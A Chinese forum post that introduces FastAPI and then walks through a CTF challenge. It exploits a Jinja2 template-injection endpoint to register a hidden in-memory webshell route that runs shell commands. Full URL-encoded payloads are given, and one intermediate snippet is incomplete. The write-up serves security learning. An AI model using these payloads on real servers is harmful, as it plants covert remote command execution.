浅谈FastAPI框架下的内存马
1315609050541697 发表于 湖北 WEB安全 744浏览 · 2024-09-03 03:18

什么是 FastAPI ?

fastapi文档 FastAPI - FastAPI (tiangolo.com)

FastAPI 是一个现代的、快速(高性能)的 Web 框架,用于构建 API。它基于 Python 3.6+ 的类型提示,使用 Starlette 作为其底层 ASGI 框架,并使用 Pydantic 进行数据验证。以下是一个简单的 FastAPI 示例

示例代码

from fastapi import FastAPI

app = FastAPI()

@app.get("/")
def read_root():
    return {"Hello": "World"}

@app.get("/items/{item_id}")
def read_item(item_id: int, q: str = None):
    return {"item_id": item_id, "q": q}

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8000)

解释

  1. 导入 FastAPI:

    from fastapi import FastAPI
    导入 FastAPI 框架。

  2. 创建 FastAPI 实例:

    app = FastAPI()
    创建一个 FastAPI 应用实例。

  3. 定义路由:

    • @app.get("/"): 定义根路由的处理函数,响应 HTTP GET 请求。
    • read_root(): 根路由处理函数,返回一个 JSON 响应 {"Hello": "World"}
    • @app.get("/items/{item_id}"): 定义带路径参数的路由。
    • read_item(item_id: int, q: str = None): 处理路径参数 item_id 和可选的查询参数 q,返回 JSON 响应。
  4. 运行应用:

    if __name__ == "__main__": import uvicorn uvicorn.run(app, host="0.0.0.0", port=8000)
    使用 Uvicorn 运行应用,监听 8000 端口。

运行应用

保存代码为 main.py,然后运行以下命令启动 FastAPI 应用:

uvicorn main:app --reload

访问 API

  • 根路由: http://localhost:8000/
  • 带路径参数的路由: http://localhost:8000/items/42?q=search

文档

FastAPI 会自动生成 API 文档,你可以通过以下 URL 访问:

  • 自动生成的文档: http://localhost:8000/docs
  • 原始文档: http://localhost:8000/redoc

这就是 FastAPI 的基本用法!

巅峰极客2024 GoldenHornKing

源码如下

import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after


# Decorator to add a timeout to async functions
def timeout_after(timeout: int = 1):
    def decorator(func):
        @functools.wraps(func)
        async def wrapper(*args, **kwargs):
            with fail_after(timeout):
                return await func(*args, **kwargs)
        return wrapper
    return decorator

# Initialize FastAPI app
app = FastAPI()
access = False

# Set up Jinja2 template directory
_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)

@app.get("/")
@timeout_after(1)
async def index():
    # Read and return the content of the current file
    return open(__file__, 'r').read()

@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
    global access
    if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"
    else:
        print(calc_req)
        template = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}")
        rendered_template = template.render({"app": app})
        return rendered_template
    return "fight"
# Run the application with Uvicorn server
if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8080)

分析

if的条件判断access这个变量是否为true,如果为true就不渲染了,所以只能渲染一次,并且渲染是不能有数字的

这里为了本地方便测试,修改渲染一次的限制

@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
    global access
    if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"
    else:
        print(calc_req)
        template = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}")
        rendered_template = template.render({"app": app})
        return rendered_template

由于不能有数字,我们直接从lipsum出发得到__builtins__
payload:

/calc?calc_req=lipsum.__globals__.__builtins__


但是目标不出网且无回显,所以我们需要写内存马

寻找Fastapi框架的添加路由函数

本题用的是fastapi的web框架而不是flask,需要自己寻找可用方法

通过寻找我们发现添加路由方法add_route,add_middleware,add_route ,add_api_route

通过搜索发现add_api_route可以用来自定义创建路由

示例如下:

from fastapi import FastAPI, APIRouter

class Hello:

    def __init__(self, name: str):
        self.name = name
        self.router = APIRouter()
        self.router.add_api_route("/hello", self.hello, methods=["GET"])

    def hello(self):
        return {"Hello": self.name}

app = FastAPI()
hello = Hello("World")
app.include_router(hello.router)
$ curl 127.0.0.1:5000/hello
{"Hello":"World"}

add_api_route 的第二个参数( endpoint )的类型为 Callable[..., Any] ,因此任何可调用对象都应该工作(只要 HTTP 请求 FastAPI 可以找出其参数的解析方式)数据)。此可调用函数在 FastAPI 文档中也称为 路径操作函数

然后接下来就是要写fastapi框架的内存马,我们需要获取到当前目标环境下运行的app实例对象

获取fastapi的app实例对象

sys.modules是一个全局字典,该字典是python启动后就加载在内存中。每当程序员导入新的模块,sys.modules都将记录这些模块。字典sys.modules对于加载模块起到了缓冲的作用。当某个模块第一次导入,字典sys.modules将自动记录该模块。当第二次再导入该模块时,python会直接到字典中查找,从而加快了程序运行的速度。

所以我们可以通过sys.modules拿到当前已经导入的模块,并且获取模块中的属性,由于我们最终的eval是在app.py中执行的,所以我们可以通过sys.modules['__main__']来获取当前的模块

sys.modules['__main__'].__dict__['app']

执行这段写入内存马

import sys

app = sys.modules['__main__'].__dict__['app']
from fastapi import Request;
def a(request: Request):
    import os
    cmd = request.query_params.get('cmd')
    if cmd is not None:
app.add_api_route('/a',a, methods=['GET'])

传参注意换行和空格

/calc?calc_req=lipsum.__globals__.__builtins__['exec']("import+sys\napp+%3d+sys.modules['__main__'].__dict__['app']\nfrom+fastapi+import+Request\n\ndef+a(request%3a+Request)%3a\n++++import+os\n++++cmd+%3d+request.query_params.get('cmd')\n++++if+cmd+is+not+None%3a\n++++++++print(f'Command+received%3a+{cmd}')\n++++++++return+os.popen(cmd).read()\n++++\n++++return+'shell'\n\napp.add_api_route('/a',+a,+methods%3d['GET'])")

执行命令

/a?cmd=whoami

或者lambda表达式

/calc?calc_req=config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/a",lambda:__import__("os").popen("whoami").read());',{"app":app})

0 条评论
某人
表情
可输入 255